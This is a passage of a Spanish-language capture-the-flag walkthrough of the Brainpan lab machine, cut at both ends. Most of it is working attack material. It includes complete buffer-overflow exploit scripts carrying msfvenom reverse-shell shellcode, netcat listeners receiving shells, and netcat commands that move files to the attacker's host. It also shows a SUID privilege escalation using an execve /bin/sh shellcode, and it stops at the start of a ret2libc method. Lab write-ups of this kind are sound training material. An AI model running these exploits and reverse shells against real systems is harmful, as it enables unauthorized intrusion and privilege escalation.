shellcode += b"\xc0\x29\xf6\xa3\x53\x5f\xdf\xc4\xd4\xea\x39"
shellcode += b"\xeb\xe5\x47\x79\x6a\x66\x9a\xae\x4c\x57\x55"
shellcode += b"\xa3\x8d\x90\x88\x4e\xdf\x49\xc6\xfd\xcf\xfe"
shellcode += b"\x92\x3d\x64\x4c\x32\x46\x99\x05\x35\x67\x0c"
shellcode += b"\x1d\x6c\xa7\xaf\xf2\x04\xee\xb7\x17\x20\xb8"
shellcode += b"\x4c\xe3\xde\x3b\x84\x3d\x1e\x97\xe9\xf1\xed"
shellcode += b"\xe9\x2e\x35\x0e\x9c\x46\x45\xb3\xa7\x9d\x37"
shellcode += b"\x6f\x2d\x05\x9f\xe4\x95\xe1\x21\x28\x43\x62"
shellcode += b"\x2d\x85\x07\x2c\x32\x18\xcb\x47\x4e\x91\xea"
shellcode += b"\x87\xc6\xe1\xc8\x03\x82\xb2\x71\x12\x6e\x14"
shellcode += b"\x8d\x44\xd1\xc9\x2b\x0f\xfc\x1e\x46\x52\x69"
shellcode += b"\xd2\x6b\x6c\x69\x7c\xfb\x1f\x5b\x23\x57\xb7"
shellcode += b"\xd7\xac\x71\x40\x17\x87\xc6\xde\xe6\x28\x37"
shellcode += b"\xf7\x2c\x7c\x67\x6f\x84\xfd\xec\x6f\x29\x28"
shellcode += b"\xa2\x3f\x85\x83\x03\xef\x65\x74\xec\xe5\x69"
shellcode += b"\xab\x0c\x06\xa0\xc4\xa7\xfd\x23\x2b\x9f\x99"
shellcode += b"\xe6\xc3\xe2\x61\x08\xaf\x6a\x87\x60\xdf\x3a"
shellcode += b"\x10\x1d\x46\x67\xea\xbc\x87\xbd\x97\xff\x0c"
shellcode += b"\x32\x68\xb1\xe4\x3f\x7a\x26\x05\x0a\x20\xe1"
shellcode += b"\x1a\xa0\x4c\x6d\x88\x2f\x8c\xf8\xb1\xe7\xdb"
shellcode += b"\xad\x04\xfe\x89\x43\x3e\xa8\xaf\x99\xa6\x93"
shellcode += b"\x6b\x46\x1b\x1d\x72\x0b\x27\x39\x64\xd5\xa8"
shellcode += b"\x05\xd0\x89\xfe\xd3\x8e\x6f\xa9\x95\x78\x26"
shellcode += b"\x06\x7c\xec\xbf\x64\xbf\x6a\xc0\xa0\x49\x92"
shellcode += b"\x71\x1d\x0c\xad\xbe\xc9\x98\xd6\xa2\x69\x66"
shellcode += b"\x0d\x67\x99\x2d\x0f\xce\x32\xe8\xda\x52\x5f"
shellcode += b"\x0b\x31\x90\x66\x88\xb3\x69\x9d\x90\xb6\x6c"  
shellcode += b"\xd9\x16\x2b\x1d\x72\xf3\x4b\xb2\x73\xd6"

payload = junk + jmpesp + opcode + shellcode

shell = remote("192.168.100.5", 9999)

shell.sendline(payload)
shell.close()

Y la que creo mas conveniente al menos en este caso especifico es utilizar otro tipo de encoder como jmp_call_additive que no tendrá instrucciones en el ESP como si las tiene el encoder shikata_ga_nai que es el que msfvenom se usa por defecto

 -e x86/shikata_ga_nai
 -e x86/jmp_call_additive  

Asi que creamos un nuevo shellcode ahora con el encoder x86/jmp_call_additive

❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.85 LPORT=443 EXITFUNC=thread -b '\x00' -f python -v shellcode -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x46\xbc\x5d\x42\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xba\x54\xdf\x42\x42\xa5\x80\xcb"
shellcode += b"\xa7\x94\x80\xa8\xac\x87\x30\xba\xe0\x2b\xba"
shellcode += b"\xee\x10\xbf\xce\x26\x17\x08\x64\x11\x16\x89"
shellcode += b"\xd5\x61\x39\x09\x24\xb6\x99\x30\xe7\xcb\xd8"
shellcode += b"\x75\x1a\x21\x88\x2e\x50\x94\x3c\x5a\x2c\x25"
shellcode += b"\xb7\x10\xa0\x2d\x24\xe0\xc3\x1c\xfb\x7a\x9a"
shellcode += b"\xbe\xfa\xaf\x96\xf6\xe4\xac\x93\x41\x9f\x07"
shellcode += b"\x6f\x50\x49\x56\x90\xff\xb4\x56\x63\x01\xf1"
shellcode += b"\x51\x9c\x74\x0b\xa2\x21\x8f\xc8\xd8\xfd\x1a"
shellcode += b"\xca\x7b\x75\xbc\x36\x7d\x5a\x5b\xbd\x71\x17"
shellcode += b"\x2f\x99\x95\xa6\xfc\x92\xa2\x23\x03\x74\x23"
shellcode += b"\x77\x20\x50\x6f\x23\x49\xc1\xd5\x82\x76\x11"
shellcode += b"\xb6\x7b\xd3\x5a\x5b\x6f\x6e\x01\x34\x5c\x43"
shellcode += b"\xb9\xc4\xca\xd4\xca\xf6\x55\x4f\x44\xbb\x1e"
shellcode += b"\x49\x93\xbc\x34\x2d\x0b\x43\xb7\x4e\x02\x80"
shellcode += b"\xe3\x1e\x3c\x21\x8c\xf4\xbc\xce\x59\x5a\xec"
shellcode += b"\x60\x32\x1b\x5c\xc1\xe2\xf3\xb6\xce\xdd\xe4"
shellcode += b"\xb9\x04\x76\x8e\x40\xcf\xb9\xe7\x2e\x5a\x52"
shellcode += b"\xfa\xae\x65\x19\x73\x48\x0f\x4d\xd2\xc3\xb8"
shellcode += b"\xf4\x7f\x9f\x59\xf8\x55\xda\x5a\x72\x5a\x1b"
shellcode += b"\x14\x73\x17\x0f\xc1\x73\x62\x6d\x44\x8b\x58"
shellcode += b"\x19\x0a\x1e\x07\xd9\x45\x03\x90\x8e\x02\xf5"
shellcode += b"\xe9\x5a\xbf\xac\x43\x78\x42\x28\xab\x38\x99"
shellcode += b"\x89\x32\xc1\x6c\xb5\x10\xd1\xa8\x36\x1d\x85"
shellcode += b"\x64\x61\xcb\x73\xc3\xdb\xbd\x2d\x9d\xb0\x17"
shellcode += b"\xb9\x58\xfb\xa7\xbf\x64\xd6\x51\x5f\xd4\x8f"
shellcode += b"\x27\x60\xd9\x47\xa0\x19\x07\xf8\x4f\xf0\x83"
shellcode += b"\x18\xb2\xd0\xf9\xb0\x6b\xb1\x43\xdd\x8b\x6c"
shellcode += b"\x87\xd8\x0f\x84\x78\x1f\x0f\xed\x7d\x5b\x97"
shellcode += b"\x1e\x0c\xf4\x72\x20\xa3\xf5\x56\x20\x43\x0a"  
shellcode += b"\x59"

De esta manera no necesitamos desplazar la pila y seria junk + jmpesp + shellcode

#!/usr/bin/python3
from pwn import remote, p32

offset = 524
junk = b"A" * offset

jmpesp = p32(0x311712f3)

shellcode =  b""
shellcode += b"\xfc\xbb\x46\xbc\x5d\x42\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xba\x54\xdf\x42\x42\xa5\x80\xcb"
shellcode += b"\xa7\x94\x80\xa8\xac\x87\x30\xba\xe0\x2b\xba"
shellcode += b"\xee\x10\xbf\xce\x26\x17\x08\x64\x11\x16\x89"
shellcode += b"\xd5\x61\x39\x09\x24\xb6\x99\x30\xe7\xcb\xd8"
shellcode += b"\x75\x1a\x21\x88\x2e\x50\x94\x3c\x5a\x2c\x25"
shellcode += b"\xb7\x10\xa0\x2d\x24\xe0\xc3\x1c\xfb\x7a\x9a"
shellcode += b"\xbe\xfa\xaf\x96\xf6\xe4\xac\x93\x41\x9f\x07"
shellcode += b"\x6f\x50\x49\x56\x90\xff\xb4\x56\x63\x01\xf1"
shellcode += b"\x51\x9c\x74\x0b\xa2\x21\x8f\xc8\xd8\xfd\x1a"
shellcode += b"\xca\x7b\x75\xbc\x36\x7d\x5a\x5b\xbd\x71\x17"
shellcode += b"\x2f\x99\x95\xa6\xfc\x92\xa2\x23\x03\x74\x23"
shellcode += b"\x77\x20\x50\x6f\x23\x49\xc1\xd5\x82\x76\x11"
shellcode += b"\xb6\x7b\xd3\x5a\x5b\x6f\x6e\x01\x34\x5c\x43"
shellcode += b"\xb9\xc4\xca\xd4\xca\xf6\x55\x4f\x44\xbb\x1e"
shellcode += b"\x49\x93\xbc\x34\x2d\x0b\x43\xb7\x4e\x02\x80"
shellcode += b"\xe3\x1e\x3c\x21\x8c\xf4\xbc\xce\x59\x5a\xec"
shellcode += b"\x60\x32\x1b\x5c\xc1\xe2\xf3\xb6\xce\xdd\xe4"
shellcode += b"\xb9\x04\x76\x8e\x40\xcf\xb9\xe7\x2e\x5a\x52"
shellcode += b"\xfa\xae\x65\x19\x73\x48\x0f\x4d\xd2\xc3\xb8"
shellcode += b"\xf4\x7f\x9f\x59\xf8\x55\xda\x5a\x72\x5a\x1b"
shellcode += b"\x14\x73\x17\x0f\xc1\x73\x62\x6d\x44\x8b\x58"
shellcode += b"\x19\x0a\x1e\x07\xd9\x45\x03\x90\x8e\x02\xf5"
shellcode += b"\xe9\x5a\xbf\xac\x43\x78\x42\x28\xab\x38\x99"
shellcode += b"\x89\x32\xc1\x6c\xb5\x10\xd1\xa8\x36\x1d\x85"
shellcode += b"\x64\x61\xcb\x73\xc3\xdb\xbd\x2d\x9d\xb0\x17"
shellcode += b"\xb9\x58\xfb\xa7\xbf\x64\xd6\x51\x5f\xd4\x8f"
shellcode += b"\x27\x60\xd9\x47\xa0\x19\x07\xf8\x4f\xf0\x83"
shellcode += b"\x18\xb2\xd0\xf9\xb0\x6b\xb1\x43\xdd\x8b\x6c"
shellcode += b"\x87\xd8\x0f\x84\x78\x1f\x0f\xed\x7d\x5b\x97"  
shellcode += b"\x1e\x0c\xf4\x72\x20\xa3\xf5\x56\x20\x43\x0a"
shellcode += b"\x59"

payload = junk + jmpesp + shellcode

shell = remote("192.168.100.5", 9999)

shell.sendline(payload)
shell.close()

Ahora al ejecutar este script nos llegua la shell sin ningun problema como antes

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done  
[*] Closed connection to 192.168.100.5 port 9999

❯ sudo netcat -lvnp 443 
Listening on 0.0.0.0 443
Connection received on 192.168.100.5
Microsoft Windows [Versión 10.0.23430.1000]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Windows\System32>whoami
xchg2pwn\pc1

C:\Windows\System32>


Shell - puck


Ahora que funciona es simplemente crear un nuevo shellcode para la interfaz tun0

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.8.64.87 LPORT=443 EXITFUNC=thread -b '\x00' -f python -v shellcode -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x8c\x20\xca\x92\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x70\xc8\x48\x92\x88\x09\x2d\x1a"
shellcode += b"\x6d\x38\x6d\x78\xe6\x6b\x5d\x0a\xaa\x87\x16"
shellcode += b"\x5e\x5e\x13\x5a\x77\x51\x94\xd1\xa1\x5c\x25"
shellcode += b"\x49\x91\xff\xa5\x90\xc6\xdf\x94\x5a\x1b\x1e"
shellcode += b"\xd0\x87\xd6\x72\x89\xcc\x45\x62\xbe\x99\x55"
shellcode += b"\x09\x8c\x0c\xde\xee\x45\x2e\xcf\xa1\xde\x69"
shellcode += b"\xcf\x40\x32\x02\x46\x5a\x57\x2f\x10\xd1\xa3"
shellcode += b"\xdb\xa3\x33\xfa\x24\x0f\x7a\x32\xd7\x51\xbb"
shellcode += b"\xf5\x08\x24\xb5\x05\xb4\x3f\x02\x77\x62\xb5"
shellcode += b"\x90\xdf\xe1\x6d\x7c\xe1\x26\xeb\xf7\xed\x83"
shellcode += b"\x7f\x5f\xf2\x12\x53\xd4\x0e\x9e\x52\x3a\x87"
shellcode += b"\xe4\x70\x9e\xc3\xbf\x19\x87\xa9\x6e\x25\xd7"
shellcode += b"\x11\xce\x83\x9c\xbc\x1b\xbe\xff\xa8\xe8\xf3"
shellcode += b"\xff\x28\x67\x83\x8c\x1a\x28\x3f\x1a\x17\xa1"
shellcode += b"\x99\xdd\x58\x98\x5e\x71\xa7\x23\x9f\x58\x6c"
shellcode += b"\x77\xcf\xf2\x45\xf8\x84\x02\x69\x2d\x0a\x52"
shellcode += b"\xc5\x9e\xeb\x02\xa5\x4e\x84\x48\x2a\xb0\xb4"
shellcode += b"\x73\xe0\xd9\x5f\x8e\x63\xec\x97\xd0\x24\x98"
shellcode += b"\xa5\xd0\xcb\xe3\x23\x36\xa1\x03\x62\xe1\x5e"
shellcode += b"\xbd\x2f\x79\xfe\x42\xfa\x04\xc0\xc9\x09\xf9"
shellcode += b"\x8f\x39\x67\xe9\x78\xca\x32\x53\x2e\xd5\xe8"
shellcode += b"\xfb\xac\x44\x77\xfb\xbb\x74\x20\xac\xec\x4b"
shellcode += b"\x39\x38\x01\xf5\x93\x5e\xd8\x63\xdb\xda\x07"
shellcode += b"\x50\xe2\xe3\xca\xec\xc0\xf3\x12\xec\x4c\xa7"
shellcode += b"\xca\xbb\x1a\x11\xad\x15\xed\xcb\x67\xc9\xa7"
shellcode += b"\x9b\xfe\x21\x78\xdd\xfe\x6f\x0e\x01\x4e\xc6"
shellcode += b"\x57\x3e\x7f\x8e\x5f\x47\x9d\x2e\x9f\x92\x25"
shellcode += b"\x4e\x42\x36\x50\xe7\xdb\xd3\xd9\x6a\xdc\x0e"
shellcode += b"\x1d\x93\x5f\xba\xde\x60\x7f\xcf\xdb\x2d\xc7"
shellcode += b"\x3c\x96\x3e\xa2\x42\x05\x3e\xe7\x42\xa9\xc0"
shellcode += b"\x08"

Simplemente cambiamos el shellcode y la dirección de el apartado de remote

#!/usr/bin/python3
from pwn import remote, p32

offset = 524
junk = b"A" * offset

jmpesp = p32(0x311712f3)

shellcode =  b""
shellcode += b"\xfc\xbb\x8c\x20\xca\x92\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x70\xc8\x48\x92\x88\x09\x2d\x1a"
shellcode += b"\x6d\x38\x6d\x78\xe6\x6b\x5d\x0a\xaa\x87\x16"
shellcode += b"\x5e\x5e\x13\x5a\x77\x51\x94\xd1\xa1\x5c\x25"
shellcode += b"\x49\x91\xff\xa5\x90\xc6\xdf\x94\x5a\x1b\x1e"
shellcode += b"\xd0\x87\xd6\x72\x89\xcc\x45\x62\xbe\x99\x55"
shellcode += b"\x09\x8c\x0c\xde\xee\x45\x2e\xcf\xa1\xde\x69"
shellcode += b"\xcf\x40\x32\x02\x46\x5a\x57\x2f\x10\xd1\xa3"
shellcode += b"\xdb\xa3\x33\xfa\x24\x0f\x7a\x32\xd7\x51\xbb"
shellcode += b"\xf5\x08\x24\xb5\x05\xb4\x3f\x02\x77\x62\xb5"
shellcode += b"\x90\xdf\xe1\x6d\x7c\xe1\x26\xeb\xf7\xed\x83"
shellcode += b"\x7f\x5f\xf2\x12\x53\xd4\x0e\x9e\x52\x3a\x87"
shellcode += b"\xe4\x70\x9e\xc3\xbf\x19\x87\xa9\x6e\x25\xd7"
shellcode += b"\x11\xce\x83\x9c\xbc\x1b\xbe\xff\xa8\xe8\xf3"
shellcode += b"\xff\x28\x67\x83\x8c\x1a\x28\x3f\x1a\x17\xa1"
shellcode += b"\x99\xdd\x58\x98\x5e\x71\xa7\x23\x9f\x58\x6c"
shellcode += b"\x77\xcf\xf2\x45\xf8\x84\x02\x69\x2d\x0a\x52"
shellcode += b"\xc5\x9e\xeb\x02\xa5\x4e\x84\x48\x2a\xb0\xb4"
shellcode += b"\x73\xe0\xd9\x5f\x8e\x63\xec\x97\xd0\x24\x98"
shellcode += b"\xa5\xd0\xcb\xe3\x23\x36\xa1\x03\x62\xe1\x5e"
shellcode += b"\xbd\x2f\x79\xfe\x42\xfa\x04\xc0\xc9\x09\xf9"
shellcode += b"\x8f\x39\x67\xe9\x78\xca\x32\x53\x2e\xd5\xe8"
shellcode += b"\xfb\xac\x44\x77\xfb\xbb\x74\x20\xac\xec\x4b"
shellcode += b"\x39\x38\x01\xf5\x93\x5e\xd8\x63\xdb\xda\x07"
shellcode += b"\x50\xe2\xe3\xca\xec\xc0\xf3\x12\xec\x4c\xa7"
shellcode += b"\xca\xbb\x1a\x11\xad\x15\xed\xcb\x67\xc9\xa7"
shellcode += b"\x9b\xfe\x21\x78\xdd\xfe\x6f\x0e\x01\x4e\xc6"
shellcode += b"\x57\x3e\x7f\x8e\x5f\x47\x9d\x2e\x9f\x92\x25"
shellcode += b"\x4e\x42\x36\x50\xe7\xdb\xd3\xd9\x6a\xdc\x0e"
shellcode += b"\x1d\x93\x5f\xba\xde\x60\x7f\xcf\xdb\x2d\xc7"
shellcode += b"\x3c\x96\x3e\xa2\x42\x05\x3e\xe7\x42\xa9\xc0"  
shellcode += b"\x08"  

payload = junk + jmpesp + shellcode

shell = remote("10.10.27.47", 9999)

shell.sendline(payload)
shell.close()

Corremos el exploit y recibimos una shell de la máquina victima en la unidad Z:

❯ python3 exploit.py
[+] Opening connection to 10.10.27.47 on port 9999: Done  
[*] Closed connection to 10.10.27.47 port 9999

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.27.47  
CMD Version 1.4.1

Z:\home\puck>whoami
File not found.

Z:\home\puck>

No podemos hacer un simple whoami, sin embargo al mirar los directorios en la raiz podemos ver que la estructura de directorios es de un Linux

Z:\home\puck>dir Z:\
Volume in drive Z has no label.
Volume Serial Number is 0000-0000

Directory of Z:

  3/4/2013   1:02 PM  <DIR>         bin
  3/4/2013  11:19 AM  <DIR>         boot
  4/7/2023  11:09 PM  <DIR>         etc
  3/4/2013  11:49 AM  <DIR>         home
  3/4/2013  11:18 AM    15,084,717  initrd.img
  3/4/2013  11:18 AM    15,084,717  initrd.img.old
  3/4/2013   1:04 PM  <DIR>         lib
  3/4/2013  10:12 AM  <DIR>         lost+found
  3/4/2013  10:12 AM  <DIR>         media
 10/9/2012   9:59 AM  <DIR>         mnt
  3/4/2013  10:13 AM  <DIR>         opt
  3/7/2013  11:07 PM  <DIR>         root
  4/7/2023  11:09 PM  <DIR>         run
  3/4/2013  11:20 AM  <DIR>         sbin
 6/11/2012   9:43 AM  <DIR>         selinux
  3/4/2013  10:13 AM  <DIR>         srv
  4/8/2023  12:29 AM  <DIR>         tmp
  3/4/2013  10:13 AM  <DIR>         usr
  8/5/2019   3:47 PM  <DIR>         var
 2/25/2013   2:32 PM     5,180,432  vmlinuz
 2/25/2013   2:32 PM     5,180,432  vmlinuz.old
       4 files               40,530,298 bytes
      17 directories     13,849,333,760 bytes free  

Z:\home\puck>

Basta con ejecutar la ruta absoluta del binario sh para obtener una shell de Linux

Z:\home\puck>/bin/sh
sh: turning off NDELAY mode

script /dev/null -c bash
puck@brainpan:~$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)  
puck@brainpan:~$ hostname -I
10.10.27.47 
puck@brainpan:~$

Otra forma es cambiando el payload msfvenom a uno de linux x86 para recibir una sh

❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.8.64.87 LPORT=443 EXITFUNC=thread EXITFUNC=thread -b '\x00' -f python -v shellcode -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 97 (iteration=0)
x86/jmp_call_additive chosen with final size 97
Payload size: 97 bytes
Final size of python file: 558 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x0d\x3f\x97\x67\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x3c\xe4\x60\x84\x6d\x59\xdc\x21"
shellcode += b"\x93\xd4\x03\x05\xf5\x2b\x43\xf5\xa0\x03\x7b"
shellcode += b"\x37\xd2\x2d\xfd\x3e\xba\xa7\xf5\x80\x6d\xd0"
shellcode += b"\x07\x01\x90\x9b\x81\xe0\x22\xbd\xc1\xb3\x11"
shellcode += b"\xf1\xe1\xba\x74\x38\x65\xee\x1e\xad\x49\x7c"
shellcode += b"\xb6\x59\xb9\xad\x24\xf3\x4c\x52\xfa\x50\xc6"  
shellcode += b"\x74\x4a\x5d\x15\xf6\xaa\x62\xa5\xf7"

Modificamos el script, lo ejecutamos y recibimos directamente una sh de Linux

#!/usr/bin/python3
from pwn import remote, p32

offset = 524
junk = b"A" * offset

jmpesp = p32(0x311712f3)

shellcode =  b""
shellcode += b"\xfc\xbb\x0d\x3f\x97\x67\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x3c\xe4\x60\x84\x6d\x59\xdc\x21"
shellcode += b"\x93\xd4\x03\x05\xf5\x2b\x43\xf5\xa0\x03\x7b"
shellcode += b"\x37\xd2\x2d\xfd\x3e\xba\xa7\xf5\x80\x6d\xd0"
shellcode += b"\x07\x01\x90\x9b\x81\xe0\x22\xbd\xc1\xb3\x11"
shellcode += b"\xf1\xe1\xba\x74\x38\x65\xee\x1e\xad\x49\x7c"
shellcode += b"\xb6\x59\xb9\xad\x24\xf3\x4c\x52\xfa\x50\xc6"  
shellcode += b"\x74\x4a\x5d\x15\xf6\xaa\x62\xa5\xf7"

payload = junk + jmpesp + shellcode

shell = remote("10.10.27.47", 9999)

shell.sendline(payload)
shell.close()

❯ python3 exploit.py
[+] Opening connection to 10.10.27.47 on port 9999: Done  
[*] Closed connection to 10.10.27.47 port 9999

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.27.47  
script /dev/null -c bash
puck@brainpan:~$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)  
puck@brainpan:~$ hostname -I
10.10.27.47
puck@brainpan:~$


Shell - anansi


Buscando archivos suid hay uno que sobresale, un binario personalizado validate

puck@brainpan:~$ find / -perm -u+s 2>/dev/null  
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping6
/bin/ping
/usr/bin/sudo
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudoedit
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/lppasswd
/usr/bin/passwd
/usr/bin/gpasswd
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/local/bin/validate
/usr/lib/dbus-1.0/dbus-daemon-launch-helper  
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
puck@brainpan:~$

El binario pertenece al usuario anansi y tiene el privilegio suid en los permisos

puck@brainpan:~$ ls -l /usr/local/bin/validate
-rwsr-xr-x 1 anansi anansi 8761 Mar  4  2013 /usr/local/bin/validate  
puck@brainpan:~$

Al ejecutarlo nos pide un input, asi que le pasamos test como input aunque realmente no queda muy claro que es lo que hace con el, solo devuelve un mensaje

puck@brainpan:~$ validate
usage validate <input>
puck@brainpan:~$ validate test  
validating input...passed.
puck@brainpan:~$

Podemos descargar el binario en nuestra máquina para analizarlo usando netcat

puck@brainpan:~$ netcat 10.8.64.87 4444 < /usr/local/bin/validate  
puck@brainpan:~$

❯ netcat -lvnp 4444 > validate  
Listening on 0.0.0.0 4444
Connection received on 10.10.27.47  

Lo abrimos con ida y podemos ver la función main y todo su codigo base en c

La función valida que este recibiendo un argumento y lo realmente destacable que hace es llamar a la función validate pasandole el primer argumento

int __cdecl main(int argc, const char **argv, const char **envp)  
{
  if ( argc > 1 )
  {
    printf("validating input...");
    if ( validate((char *)argv[1]) )
      puts("passed.");
    return 0;
  }
  else
  {
    printf("usage %s <input>\n", *argv);
    return 0;
  }
}

En el codigo de la función validate tenemos 2 cosas bastante interesantes

char *__cdecl validate(char *string)
{
  char buffer[100]; // [esp+18h] [ebp-70h] BYREF
  int i; // [esp+7Ch] [ebp-Ch]

  for ( i = 0; i < (unsigned int)strlen(string); ++i )  
  {
    if ( string[i] == 'F' )
    {
      printf("failed: %x\n", string[i]);
      exit(1);
    }
  }
  strcpy(buffer, string);
  return buffer;
}

Primero podemos ver que define un total de 100 bytes de buffer y usa la función strcpy con el argumento por lo que puede que sea vulnerable a Buffer Overflow

char buffer[100];
strcpy(buffer, string);  

Pero en caso de que el caracter F este en el input se cortará donde este el caracter y omitira el resto, hay que tener esto en cuenta por posibles problemas más adelante

if ( string[i] == 'F' )
{
  printf("failed: %x\n", string[i]);  
  exit(1);
}

Con checksec podemos ver que el binario no tiene ninguna protección

❯ checksec validate
[*] '/home/kali/validate'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)  
    RWX:      Has RWX segments

Abrimos gdb y corremos el programa pasandole un patrón de caracteres como argumento, al pasar del buffer asignado este corrompe sobrescribiendo registros

❯ gdb -q validate
Reading symbols from validate...
pwndbg> cyclic 150
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
pwndbg> run aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
Starting program: /home/kali/validate aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma  
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x62616165 in ?? ()
pwndbg>

Si le pasamos a cyclic la direccion del EIP este nos mostrara el offset necesitado

pwndbg> cyclic -l $eip
Finding cyclic pattern of 4 bytes: b'eaab' (hex: 0x65616162)  
Found at offset 116
pwndbg>

Si miramos con ropper direcciones a donde podemos saltar encontramos 2 instrucciones que nos ejecutan call eax, con lo que volveriamos al inicio del input

❯ ropper --file validate --jmp eax  

JMP Instructions
================

0x080484af: call eax;
0x0804862b: call eax;

2 gadgets found

Cualquiera de las 2 direcciones para CALL EAX es válida en este caso usare la segunda pero hay que darle la vuelta ya que estamos en little endian, para ello crearemos una funcion llamada p32 usando struct que se encargara de ello

p32 = lambda addr: struct.pack("I", addr)  

Podemos empezar a crear un script definiendo el offset y la dirección de CALL EAX

#!/usr/bin/python2

offset = 116

calleax = p32(0x080484af)  

Agregamos un shellcode en arquitectura x86 ya que estamos en 32 bits el cual nos ejecutara una /bin/sh al script y rellenamos con A hasta llegar al registro EIP, en el volveremos con la dirección de CALL EAX y asi se ejecutara el shellcode

#!/usr/bin/python2
import struct

p32 = lambda addr: struct.pack("I", addr)

offset = 116

calleax = p32(0x080484af)

shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"  

junk = b"A" * (offset - len(shellcode))

print(shellcode + junk + calleax)

Nuestro payload sera el siguiente, iniciamos por un shellcode en x86 que ejecute una /bin/sh, despues rellenamos con A's hasta llegar al RIP y hacemos que este apunte a la direccion de la intrucción call eax, esta instruccion interpretara el registro eax donde esta el inicio de nuestro input y ejecutara nuestro shellcode

Ejecutamos el binario validate en la máquina victima con el exploit ejecutado como validate, al hacerlo conseguimos una shell como el usuario anansi

puck@brainpan:~$ validate $(python2 exploit.py)  
$ whoami
anansi
$ hostname -I
10.10.27.47
$

Otro metodo es explotarlo mediante un ret2libc, para esto necesitamos saber la libreria que usa el binario que en este caso con ldd vemos que es libc.so.6

puck@brainpan:~$ ldd /usr/local/bin/validate  
	linux-gate.so.1 =>  (0xb77d5000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7621000)  
	/lib/ld-linux.so.2 (0xb77d6000)
puck@brainpan:~$

Descargamos el archivo libc.so.6 con netcat de la misma manera que antes

puck@brainpan:~$ netcat 10.8.64.87 4444 < /lib/i386-linux-gnu/libc.so.6  
puck@brainpan:~$

❯ netcat -lvnp 4444 > libc.so.6  
Listening on 0.0.0.0 4444
Connection received on 10.10.27.47  

Para empezar tomaremos como base una dirección de libc usando ldd

puck@brainpan:~$ ldd /usr/local/bin/validate
        linux-gate.so.1 =>  (0xb7719000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)  
        /lib/ld-linux.so.2 (0xb771a000)
puck@brainpan:~$

Ahora con readelf conseguimos offsets de las direcciones para exit y system

❯ readelf -s libc.so.6 | grep -E " system@@| exit@@"
   136: 00032fb0    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
  1422: 0003f430   141 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0  

Para conseguir un offset de la dirección de /bin/sh podemos usar strings

❯ strings -a -t x libc.so.6 | grep /bin/sh  
 160f58 /bin/sh

